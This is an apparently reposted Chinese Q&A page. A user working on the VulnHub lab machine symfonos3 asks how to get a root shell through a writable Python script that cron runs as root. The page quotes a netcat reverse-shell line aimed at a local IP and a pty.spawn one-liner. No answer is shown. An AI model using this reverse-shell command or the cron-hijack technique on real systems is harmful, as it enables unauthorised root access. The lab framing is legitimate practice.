微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

是否可以在 crontab 中生成没有 netcat 的 shell?

如何解决是否可以在 crontab 中生成没有 netcat 的 shell?

在给机器授予权限时,我发现一个 Python 脚本在 crontab 中以 root 权限运行,但我的用户帐户具有写入权限。

通常的做法是通过以下方式添加 netcat 反向 shell:

os.system('nc -e /bin/sh 192.168.1.10 1339')

为什么我不能通过添加直接通过现有的低权限shell生成root shell

python -c "import pty;pty.spawn('/bin/bash')"

进入脚本?

ps。它是来自 vulnhub 的 symfonos3

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。